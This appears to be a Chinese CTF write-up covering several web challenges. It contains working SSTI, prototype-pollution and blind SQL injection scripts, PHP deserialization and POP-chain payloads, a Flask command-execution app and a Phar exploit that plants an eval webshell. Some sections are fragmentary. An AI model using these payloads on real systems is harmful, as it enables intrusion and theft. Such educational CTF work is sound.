  1. import timeimport requests 导入了Python标准库中的time模块和第三方库requests,用于进行HTTP请求。
  2. url 变量存储了目标URL,它似乎指向一个Web应用。
  3. result 变量初始化为空字符串,用于存储最终获取的结果。
  4. 这段代码包含三个嵌套的for循环,用于遍历三个不同的参数 ijk 的可能值。
    • 外层循环是 for i in range(1, 15),它控制了某个文件的行数。
    • 第二个循环是 for j in range(1, 50),它控制了每一行中的字符位置。
    • 最内层循环是 for k in range(32, 127),它遍历了ASCII码表中的可打印字符。
  5. 在最内层循环中,代码构建了一个名为 payload 的字符串,其中包含一个Shell命令,用于检查指定文件 /flag_is_h3eeere 的内容。该命令根据参数 ij 以及当前的字符 k 进行构建。
  6. payload2 是一个字典,用于构造POST请求的数据。其中包含了一个较为复杂的字符串,看起来是一个序列化对象的表示。
  7. 代码记录了请求开始的时间 t1,然后使用 requests.post 方法向目标URL发送POST请求。
  8. 代码记录了请求结束的时间 t2,然后检查请求的执行时间。如果请求执行时间超过了1.5秒,说明条件满足,将字符 k 添加到 result 中。
  9. 最后,将字符 k 添加到 result 后,打印 result,然后继续内层循环,直到遍历完所有可能的字符。
  10. 外层循环结束后,向 result 添加一个空格,然后继续下一行的遍历。

遇到瓶颈了,编码能力不行,上限太低了,准备比赛回来学一下golang语言,这样打比赛的实力就大大提高了。

我看到还有一个非预期解

GenShin

题目

一道SSTI的python模板题目

题解

1
{% print(get_flashed_messages.__globals__.os["pop"+"en"]("cat /flag").read()) %}

OtenkiGirl

题目

JavaScript原型链污染

题解

题目给了个源码,慢慢来学习代码审计吧。

看到有两个路径/submit和/info

image-20231031230624775

查看info.js

image-20231031231012277

1
async function getInfo(timestamp) {    timestamp = typeof timestamp === "number" ? timestamp : Date.now();    // Remove test data from before the movie was released    let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();    timestamp = Math.max(timestamp, minTimestamp);    const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });    return data;}
1
timestamp = typeof timestamp === "number" ? timestamp : Date.now();
  • 这里检查传入的 timestamp 参数是否是数字,如果不是数字,则将其设为当前时间戳 Date.now()

其中第4行和第5行将我们传入的timestamp做了一个过滤,使得所返回的数据不早于配置文件中的min_public_time

查看根目录下的config.jsconfig.default.js后发现config.js并没有配置min_public_time,因此getInfo的第5行只是采用了DEFAULT_CONFIG.min_public_time

考虑原型链污染污染min_public_time为我们想要的日期,就能绕过最早时间限制,获取任意时间的数据

查看submit.js

发现注入点

image-20231031230815370

其中merge函数行存在原型链污染,因此只要考虑注入data['__proto__']['min_public_time']的值即可

于是构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
{

"contact": "test",

"reason": "test",

"__proto__": {

"min_public_time": "1001-01-01"

}

}

然后修改请求方式和请求路径再请求即可

image-20231031230420181

medium_sql

题目

url后面可以拼接id

题解

尝试:

1
2
?id=TMP0919' And if(1>0,1,0)#
?id=TMP0919' And if(0>1,1,0)#

发第一个,有回显,第二个,没回显,说明页面可以根据if判断的结果回显两种(真假)内容,因此是布尔盲注。

布尔盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
def condition(res):    
if 'Physics' in res.text:
return True
return False
result = ''
_url = 'http://27a654f2-571f-45f0-aafc-0a12ac64dfec.node4.buuoj.cn:81/'
import time,requests
for _time in range(1,1000):
print("time:%d" % (_time))
left = 32
right = 128
while (right > left):
mid = (left + right) // 2
# 获取当前库表名
#url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(table_name))fRom(infOrmation_schema.tables)whEre((tAble_schema) In (dAtabase()))) fRom {_time} FOr 1))))In({mid})),1,0)%23"
# 获取字段名
# url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(column_name))fRom(infOrmation_schema.columns)whEre((tAble_name) In ('here_is_flag'))) fRom {_time} FOr 1))))In({mid})),1,0)%23"
# 获取字段值
url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(flag)fRom(here_is_flag)) fRom {_time} FOr 1))))In({mid})),1,0)%23"
# 防止请求速率过快
time.sleep(0.2)
res = requests.get(url=url)
if (condition(res)):
result += chr(mid)
print(result)
break
else:
# 获取当前库表名
# url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(table_name))fRom(infOrmation_schema.tables)whEre((tAble_schema) In (dAtabase()))) fRom {_time} FOr 1))))>({mid})),1,0)%23"
# 获取字段名
# url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(grouP_cOncat(column_name))fRom(infOrmation_schema.columns)whEre((tAble_name) In ('here_is_flag'))) fRom {_time} FOr 1))))>({mid})),1,0)%23"
#获取字段值
url = f"{_url}?id=TMP0919' And if((((Ord(sUbstr((Select(flag)fRom(here_is_flag)) fRom {_time} FOr 1))))>({mid})),1,0)%23"
res = requests.get(url=url)
if (condition(res)):
left = mid
else:
right = mid

image-20231031233513768

学一下python以后要尝试自己去写脚本

week4

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
function waf($str){
return str_replace("bad","good",$str);
}

class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}

unserialize(waf(serialize(new GetFlag($_GET['key'])))); www-data www-data

题解

字符逃逸,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
function waf($str){
return str_replace("bad","good",$str);
}

class GetFlag {
public $key ;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key ='badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}';
}
public function __destruct()
{
//system($this->cmd);
}
}
echo waf(serialize(new GetFlag($key)));
?>tac /flag

payload

获取当前目录

1
badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}

获取根目录

1
badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}

获取flag

1
badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"tac /flag";}

midsql

题目

Key Source
1
2
3
$cmd = "select name, price from items where id = ".$_REQUEST["id"];
$result = mysqli_fetch_all($result);
$result = $result[0];
  1. $cmd = "select name, price from items where id = ".$_REQUEST["id"];

    这一行创建了一个 SQL 查询语句,并将其存储在 $cmd 变量中。这个查询从一个名为 “items” 的表中选择了 “name” 和 “price” 列的数据,条件是 “id” 列等于来自 HTTP 请求中 “id” 参数的值。然而,这段代码存在安全隐患,因为它直接将用户输入拼接到 SQL 查询语句中,可能导致 SQL 注入攻击。

  2. $result = mysqli_fetch_all($result);

    这一行看起来试图从数据库中获取查询结果并将其存储在 $result 变量中。然而,这里的 $result 变量在这行代码之前并没有赋予任何值。这可能导致错误或者未定义行为。

  3. $result = $result[0];

    这一行试图获取 $result 数组的第一个元素并将其赋值回给 $result 变量。前提是 $result 变量已经包含了从数据库中获取的数据。然而,在之前的代码中,并没有展示 $result 被赋予任何数据库查询的结果,所以这行代码可能会导致错误。

题解

没有回显,没有报错,尝试时间盲注

1
id=1/**/Or/**/(iF(((((Ord(substr((sElect(grOup_cOncat(name))frOm(ctf.items))/**/from/**/1/**/for/**/1))))in(108))),sLeep(1),0))#

image-20231030224904971

看到成功了

用lolita师傅的脚本,师傅太强了,人和人的差距比人和狗的差距还要大。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
import requests,re,copy

class Gadget():

def __enter__(self):
return self

def __exit__(self, exc_type, exc_val, exc_tb):
return

def str2hex(self,string:str):
result = ''
for c in string:
result += hex(ord(c))
return '0x'+result.replace('0x','')

# index start from 1
def get_char_ascii(self,string:str,index):
method1 = f'(Ord(right(left({string},{index}),1)))'
method2 = f'(Ord(substr({string}/**/from/**/{index}/**/for/**/1)))'
method3 = f'(Ord(sUbstr({string} frOm {index} fOr 1)))'
return method2

def table_name_in_db(self):
s1 = '(Select(group_concat(table_name))from(mysql.innodb_table_stats)where((database_name)/**/in/**/(dAtabase())))' # mysql > 5.6
s2 = '(Select(group_concat(table_name))from(infOrmation_schema.tables)where((table_schema)/**/in/**/(dAtabase())))'
s3 = '(Select(group_coNcat(table_name))frOm(infOrmation_schema.tables)wHere((table_schema)In(dAtabase())))'
return s3

def table_name_in_db2(self, schema_name):
s1 = '(Select(group_concat(table_name))from(mysql.innodb_table_stats)where((database_name)/**/in/**/(dAtabase())))' # mysql > 5.6
s2 = '(Select(group_concat(table_name))from(infOrmation_schema.tables)where((table_schema)/**/in/**/(dAtabase())))'
s3 = f"(Select(group_coNcat(table_name))frOm(infOrmation_schema.tables)wHere((table_schema)In('{schema_name}')))"
return s3

def db_names(self):
s1 = '(Select(group_concat(table_name))from(mysql.innodb_table_stats)where((database_name)/**/in/**/(dAtabase())))' # mysql > 5.6
s2 = '(Select(group_concat(table_name))from(infOrmation_schema.tables)where((table_schema)/**/in/**/(dAtabase())))'
s3 = f"(sElect(group_coNcat(sChema_name))from(information_schema.schemata))"
return s3

def column_name_in_table(self,table_name:str):
s1 = f"(select(group_concat(column_name))from(infOrmation_schema.columns)where(table_name)in('{table_name}'))"
s2 = f"(sElect(group_cOncat(Column_name))frOm(infOrmation_schema.cOlumns)wHere(table_name)In({self.str2hex(table_name)}))"
return s2

def column_value_in_table(self,table_name:str,column_name:str):
s1 = f"(sElect(grOup_cOncat({column_name}))frOm({table_name}))"
return s1

def get_len(self,function,*args, **kwargs):
s1 = f'(lenGth({function(*args, **kwargs)}))'
return s1


def ascii_equal(self,asc,i):
s1 = f"(({asc})in({i}))"
return s1

def len_equal(self,len,i):
s1 = f"(({len})in({i}))"
return s1
def ascii_greater(self,asc,i):
s1 = f"(leAst({asc},{i})in({i}))"
return s1


def judge(self,cond):
s2 = f"Elt(({cond})+1,sLeep(1),0)"
s1 = f"(iF(({cond}),sLeep(1),0))"
return s1

class Injector():

def __init__(self,url,method,inject_param,data=None,debug=True):
self.url = url
self.method = method
self.data = data
self.inject_param = inject_param
self.debug = debug
self.gadget = Gadget()

def condition(self,res):
if res.elapsed.total_seconds()>1:
return True
return False


def handle_value(self,function, *args, **kwargs):
result = ''
data = copy.deepcopy(self.data)
for _time in range(200):
print("time:%d" % (_time + 1))
left = 32
right = 128
updated = False
while (right > left):
mid = (left + right) // 2
with self.gadget as g:
data[self.inject_param] = self.data[self.inject_param].replace('XXXXX',g.judge(g.ascii_equal(g.get_char_ascii(function(*args, **kwargs),_time+1),mid)))
res = None
if self.method == 'get':
res = requests.get(self.url,data)
if self.debug:
#print(res.text)
print(res.request.url)
else:
res = requests.post(self.url,data)
if self.debug:
print(res.text)
if (self.condition(res)):
result+=chr(mid)
print(result)
updated = True
break
else:
with self.gadget as g:
data[self.inject_param] = self.data[self.inject_param].replace('XXXXX',g.judge(g.ascii_greater(g.get_char_ascii(function(*args, **kwargs),_time+1),mid)))
res = None
if self.method == 'get':
res = requests.get(self.url, data)
else:
res = requests.post(self.url, data)
if (self.condition(res)):
left = mid
else:
right = mid
if not updated :
break
def handle_len(self,function, *args, **kwargs):
data = copy.deepcopy(self.data)
for _time in range(1,200):
print("time:%d" % (_time))
with self.gadget as g:
data[self.inject_param] = self.data[self.inject_param].replace('XXXXX',g.judge(g.len_equal(g.get_len(function,*args, **kwargs),_time)))
res = None
if self.method == 'get':
res = requests.get(self.url, data)
if self.debug:
print(res.request.url)
print(res.text)
else:
res = requests.post(self.url, data)
if self.debug:
print(res.text)
if (self.condition(res)):
print(_time)
break

'''
Note:
Use time-based injection by default.

Todo:
union injection
bool injection
'''

if __name__ == '__main__':
g = Gadget()
result = ''
url = 'http://14a859a0-c054-49c9-a508-b6f7982feb47.node4.buuoj.cn:81'
inject_param = 'id'
# XXXXX 会被替换为 if(,sleep(1.5),0)
data = {'id':"1/**/Or/**/XXXXX#"}

inj = Injector(url,method='get',inject_param=inject_param,data=data)

# 获取当前库
#inj.handle_value(g.db_names)
#information_schema,mysql,performance_schema,sys,test,ctf

#获取表名
#inj.handle_value(g.table_name_in_db2, 'ctf')
#items

# 获取表的字段
#inj.handle_value(g.column_name_in_table,'items')
#id,name,price

inj.handle_value(g.column_value_in_table,'ctf.items','name')

好,现在开始逐行分析。

import导入了三个模块:

  1. requests 模块:这是一个常用的第三方库,用于发送 HTTP 请求。它简化了在 Python 中进行 HTTP 请求的过程,包括 GET 和 POST 请求等。
  2. re 模块:这是 Python 的内置模块,提供了正则表达式支持。它用于在字符串中进行模式匹配和查找,执行替换和其他与正则表达式相关的操作。
  3. copy 模块:同样也是 Python 的内置模块,提供了数据复制和复制相关操作的功能。它用于复制对象,以避免对原始数据进行更改。

下面创建了Gadget和 Injector两个类

先来分析Gadget类

__enter__方法

在 Python 中,__enter__ 方法是用于实现上下文管理器的方法之一。上下文管理器允许你定义在进入和离开特定上下文时要执行的操作。

当一个类中包含 __enter__ 方法时,它可以作为上下文管理器。当使用 with 语句时,会自动调用该类的 __enter__ 方法。

接收三个参数:exc_typeexc_valexc_tb,分别表示异常类型、异常值和追溯信息。

str2hex 方法

将字符串转换为十六进制表示。

  1. result = '':初始化一个空字符串 result,用于存储转换后的十六进制表示。
  2. for c in string::遍历输入的字符串 string 中的每个字符。
  3. result += hex(ord(c)):对于每个字符 cord(c) 返回其 ASCII 值,hex() 将该 ASCII 值转换为十六进制字符串,并将其追加到 result 变量中。
  4. return '0x'+result.replace('0x','')
    • '0x' + result.replace('0x', ''):在 result 的字符串中,将所有的 '0x' 替换为空字符串,然后在结果的开头添加 '0x' 前缀,表示这是一个十六进制数。
    • 最终返回的是一个字符串,表示输入字符串的十六进制表示,以 '0x' 开头。

get_char_ascii 方法

构建了不同形式的 SQL Ord 函数,用于获取字符串中指定位置字符的 ASCII 值。

  • 该方法中定义了三个不同的 SQL 查询方法,分别赋值给 method1, method2method3
  • 每个查询方法都采用不同的 SQL 函数来获取指定位置的字符的 ASCII 值。
  • return method2 返回了 method2 所构建的 SQL 查询,作为该方法的结果。

逐行解释:

  1. method1 = f'(Ord(right(left({string},{index}),1)))'
    • 使用 left()right() 函数从字符串 string 中提取特定位置的字符,然后使用 Ord() 函数获取其 ASCII 值。
    • left({string},{index}) 提取字符串 string 左起至位置 index 的子字符串。
    • right(...,1) 获取左侧子字符串的最右边的字符。
    • 最后使用 Ord() 函数获取该字符的 ASCII 值。
  2. method2 = f'(Ord(substr({string}/**/from/**/{index}/**/for/**/1)))'
    • 使用 substr() 函数直接从位置 index 开始获取字符串 string 中的一个字符。
    • substr({string} from {index} for 1) 提取位置为 index 的字符。
    • 最后使用 Ord() 函数获取该字符的 ASCII 值。
  3. method3 = f'(Ord(sUbstr({string} frOm {index} fOr 1)))'
    • 类似于 method2,使用 sUbstr() 函数来提取特定位置的字符,并使用 Ord() 函数获取其 ASCII 值。

table_name_in_db 方法

构建了用于检索数据库表名的 SQL 查询。

table_name_in_db2 方法

table_name_in_db 类似,但它允许指定数据库模式名称。

db_names 方法

用于检索数据库名称的 SQL 查询。

column_name_in_table 方法

构建了用于检索表中列名的 SQL 查询。

column_value_in_table 方法

构建了用于检索表中特定列值的 SQL 查询。

其他一些方法

用于比较 ASCII 值、长度等的 SQL 比较函数。

get_len 方法:
  • 参数

    • function 是一个函数或方法。
    • *args**kwargs 是传递给 function 的参数。
  • 返回值

    • 构建了一个表示给定函数返回值长度的 SQL 查询字符串。
ascii_equal, len_equalascii_greater 方法:
  • 这些方法构建了不同类型的 SQL 比较语句,分别用于比较 ASCII 值、长度等。它们都返回相应的 SQL 比较语句字符串。
judge 方法:
  • 参数cond 是一个条件(SQL 比较)。
  • 返回值:该方法构建了一个 SQL IF 语句字符串,用于执行条件成立时的操作,或返回 0
分析:
  • get_len 方法通过调用传入的 function(*args, **kwargs) 函数来获取其返回值的长度,返回了相应的 SQL 查询字符串。
  • ascii_equal 方法构建了一个 SQL 比较语句,用于判断给定的 ASCII 值是否等于特定的值 i
  • len_equal 方法构建了一个 SQL 比较语句,用于判断给定的长度值是否等于特定的值 i
  • ascii_greater 方法构建了一个 SQL 比较语句,用于判断给定的 ASCII 值是否大于特定的值 i
  • judge 方法构建了一个 SQL IF 语句,根据给定的条件 cond 返回不同的结果。如果条件成立,返回 sLeep(1)(可能是 Sleep 函数,用于制造延迟),否则返回 0

这些方法的目的是构建特定类型的 SQL 语句,用于执行在注入攻击中常见的比较、判断以及获取函数返回值长度的操作。

分析 Injector 类

__init__ 方法

初始化 Injector 实例,设置 URL、HTTP 方法、数据、注入参数等。

condition 方法

检查 HTTP 响应时间是否大于 1 秒。

condition 方法功能解析:

  • 参数

    res 是一个响应对象,通常是通过 HTTP 请求库(例如 requests 库)发送请求后得到的响应。

    elapsedResponse对象的一个属性,表示从发出请求到接收响应所经过的时间。

    这个属性返回的是一个timedelta对象,它包含了以天、秒和微秒为单位的时间差。这个时间差表示了请求的持续时间。通过调用total_seconds()方法,你可以得到以秒为单位的持续时间。

  • 返回值

    • 如果请求的持续时间超过 1 秒钟,返回 True
    • 否则返回 False

handle_value 方法

执行值注入攻击,利用二分法逐个字符检索值。

方法功能分析:

  • 参数

    • function:表示一个用于构建 SQL 注入查询的函数。
    • *args**kwargs:表示传递给 function 的参数。
  • 处理流程

    • 对于每个字符位置,该方法尝试逐个字符地构建 SQL 注入查询,以获取目标值。
    • 通过二分法来逐字符确定字符的 ASCII 值。
    • 使用 gadget 对象来构建不同的 SQL 查询。
  • 结果

    • 将逐字符获取的结果以字符串形式返回。

逐行解析:

  1. result = ''data = copy.deepcopy(self.data):初始化了 result 作为结果的字符串,复制了 self.data 的副本作为操作数据的副本。
  2. for _time in range(200)::循环处理字符的位置,尝试逐个字符地获取目标值。
  3. left = 32right = 128:初始化了左右边界值,假设目标字符的 ASCII 值介于 32 到 128 之间(通常是可打印字符的 ASCII 范围)。
  4. while (right > left)::进入一个循环,使用二分法逐字符确定字符的 ASCII 值。
  5. mid = (left + right) // 2:计算中间值,即待确认字符的 ASCII 值。
  6. with self.gadget as g::进入 gadget 对象的上下文管理器。
  7. data[self.inject_param] = self.data[self.inject_param].replace('XXXXX',g.judge(g.ascii_equal(g.get_char_ascii(function(*args, **kwargs),_time+1),mid))):构建 SQL 注入查询,尝试获取指定位置字符的 ASCII 值,并用二分法逐字符确定字符的 ASCII 值。
  8. 发送请求并接收响应,检查响应的持续时间。
  9. 如果响应时间超过 1 秒,表示条件成立,更新结果字符串 result
  10. 如果未能获取到更新,或者没有响应超过 1 秒,更新左右边界值,继续进行二分搜索。
  11. 返回逐字符获取的结果字符串。

handle_len 方法

执行长度注入攻击,利用二分法逐个字符检索长度。

方法功能分析:

  • 参数

    • function:表示用于构建 SQL 注入查询的函数。
    • *args**kwargs:表示传递给 function 的参数。
  • 处理流程

    • 对于长度的每个可能取值,该方法尝试构建 SQL 注入查询,以确定目标值的长度。
    • 根据不同长度,构建相应的 SQL 查询。
  • 结果

    • 返回确定的目标值的长度。

逐行解析:

  1. data = copy.deepcopy(self.data):复制 self.data 的副本,作为操作数据的副本。
  2. for _time in range(1, 200)::循环处理长度的取值范围。
  3. with self.gadget as g::进入 gadget 对象的上下文管理器。
  4. data[self.inject_param] = self.data[self.inject_param].replace('XXXXX',g.judge(g.len_equal(g.get_len(function,*args, **kwargs),_time))):构建 SQL 注入查询,尝试获取目标值的长度。
  5. 发送请求并接收响应,检查响应的持续时间。
  6. 如果响应时间超过 1 秒,表示条件成立,打印长度并中断循环。
  7. 如果未能获取到超过1秒的响应,继续循环,尝试下一个可能的长度值。
  8. 返回确定的目标值的长度。

这段代码通过循环不同的长度值,尝试构建有效的 SQL 查询来确定目标值的长度。其目的是进行长度注入攻击,以确定目标值的长度。

if __name__ == '__main__': 部分

实例化了 GadgetInjector,并调用 handle_value 方法来执行 SQL 注入攻击,具体针对特定表中的列值。

  1. Gadget 类似乎包含了一些用于构建SQL注入查询的方法。

  2. Injector 类似乎用于执行SQL注入攻击的逻辑。

  3. 1
    if __name__ == '__main__':

    中执行了以下操作:

    • 实例化了一个 Gadget 对象 g
    • 设置了一个 url 变量作为攻击目标的网址。
    • 设置了 inject_param 变量,用于构建注入查询的参数。
    • 准备了一个 data 字典,似乎是待发送的数据,其中 'id' 键的值中有一个标记 'XXXXX',用于构建注入攻击查询。
    • 实例化了一个 Injector 对象 inj,传入了攻击目标的URL、请求方法、注入参数和待发送数据。
    • 注释部分包含了三个示例注入攻击的调用,分别是获取当前库名、获取表名、获取表的字段。
    • 最后一行调用了 inj.handle_value(g.column_value_in_table,'ctf.items','name'),这个操作似乎尝试获取名为 'ctf.items' 的表的 'name' 字段。
  4. Note(注释)

    • 使用默认的基于时间的注入。这意味着代码中可能默认采用了基于时间的注入攻击方法,通过检查程序的响应时间来推断攻击是否成功。这种方法通常通过添加额外的操作,如 Sleep 函数来增加响应时间,从而进行推断。
  5. Todo(待办事项)

    • Union Injection(联合注入):联合注入是一种注入攻击,常用于从数据库中检索数据,结合多个查询结果。待办事项中似乎计划添加这个攻击方法。
    • Bool Injection(布尔注入):布尔注入是利用布尔逻辑运算(如 AND, OR, NOT)对数据库进行猜测,从而获取信息的一种注入方法。待办事项中也包含了对此方法的计划。

OtenkiBoy

题目

帆高的复仇

给了一个源文件

image-20231031231815329

路径处看到这三个文件,

查看routes/submit.js,注意到下面的片段

1
const result = await insert2db(merge(DEFAULT, data));

image-20231031232338992

More Fast

题目

再快一点我就能拿到Flag了,如果Destruct能早一点触发就好了…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
highlight_file(__FILE__);

class Start{
public $errMsg;
public function __destruct() {
die($this->errMsg);
}
}

class Pwn{
public $obj;
public function __invoke(){
$this->obj->evil();
}
public function evil() {
phpinfo();
}
}

class Reverse{
public $func;
public function __get($var) {
($this->func)();
}
}

class Web{
public $func;
public $var;
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}

class Crypto{
public $obj;
public function __toString() {
$wel = $this->obj->good;
return "NewStar";
}
}

class Misc{
public function evil() {
echo "good job but nothing";
}
}

$a = @unserialize($_POST['fast']);
throw new Exception("Nope");
Fatal error: Uncaught Exception: Nope in /var/www/html/index.php:55 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 55

题解

pop链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php


class Start{
public $errMsg;

}

class Pwn{
public $obj;


}

class Reverse{
public $func;

}

class Web{
public $func = 'system';
public $var = 'ls /';

}

class Crypto{
public $obj;

}

class Misc{

}
$a = new Start();
$a->errMsg = new Crypto();
$a->errMsg->obj = new Reverse();
$a->errMsg->obj->func = new Pwn();
$a->errMsg->obj->func->obj = new Web();
echo serialize($a);

这里考点在于Fast Destruct,利用GC垃圾回收机制提前触发Destruct即可

垃圾回收是一种自动的存储管理机制。 当一些被占用的内存不再需要时,就应该予以释放,以让出空间,这种存储资源管理,称为垃圾回收(Garbage Collection)。当反序列化一个不存在的类的时候,

不存在的类转换成__PHP_Incomplete_Class这种特殊的类,同时将原始的类名A存放在__PHP_Incomplete_Class_Name这个属性中

本题代码最后一行throw new Exception("Nope");

morefast

删一个花括号

skajeias

或者修改数值大于1

flask disk

题目

考察Phar反序列化、gzip压缩、无回显RCE

题解

image-20231102174706177

Flask是一个Python编写的Web 微框架

得知flask开启了debug,具体看这篇[文章](Flask开启debug模式等于给黑客留了后门 - 知乎 (zhihu.com))

上传一个app.py覆盖掉原来的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask,request
import os
app = Flask(__name__)
@app.route('/')
def index():
try:
cmd = request.args.get('cmd')
data = os.popen(cmd).read()
return data
except:
pass
return "1"
if __name__=='__main__':
app.run(host='0.0.0.0',port=5000,debug=True)

image-20231102174848688

这段代码是一个简单的 Flask 应用程序,它创建了一个 Web 服务器,监听在 0.0.0.0 的 5000 端口上。然后,它定义了一个路由 @app.route('/'),处理根路径的 GET 请求。

该路由函数 index() 试图执行传递的命令(cmd),并返回命令的输出结果。在这段代码中,使用了 os.popen() 来执行系统命令。然而,这种方法是非常危险的,因为它允许用户输入任意系统命令,并将其执行在服务器上。这种做法会引发安全风险,允许恶意用户执行恶意命令,比如删除文件、查看敏感信息等。

PharOne

题目

就是一个上传的入口。

对__HALT_COMPILER()进行了过滤,可以使用gzip等压缩进行绕过,Phar反序列化的一个小技巧,其次考点在于恶意类中的命令执行函数是无回显的,不过Web根目录可写,可以直接写一个WebShell进去,其他方法也是可以的。

题解

phar反序列化exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Flag
{
public $cmd = "echo \"<?=@eval(\\\$_POST['a']);\">/var/www/html/1.php";
}
@unlink("1.phar");
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("__HALT_COMPILER(); ?>");
$o = new Flag();$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
system("gzip 1.phar");
rename("1.phar.gz","1.jpg");
  • echo: 这是一个 shell 命令,通常用于将文本输出到标准输出(屏幕)。在这种情况下,echo将输出下一个引号内的内容。
  • \": 这是转义字符,用于将双引号 " 作为字符串的一部分输出,而不是作为代码中字符串的结束标记。
  • <?=@eval(\\\$_POST['a']);: 这部分是 PHP 代码片段,它使用了短标签 <?= ... ?> 来执行 PHP 代码并将结果直接输出。在这里,@符号用于抑制可能产生的错误信息,eval函数用于执行字符串中的 PHP 代码。具体来说,它试图从 POST 请求中获取名为 a 的数据,并执行这段数据作为 PHP 代码。
  • >/var/www/html/1.php: 这部分代码将 echo 命令的输出重定向到 /var/www/html/1.php 文件,也就是将前面 echo 命令的输出内容写入 1.php 文件中。这样的命令将使得 1.php 文件包含通过 eval 函数执行 POST 请求中的内容的结果。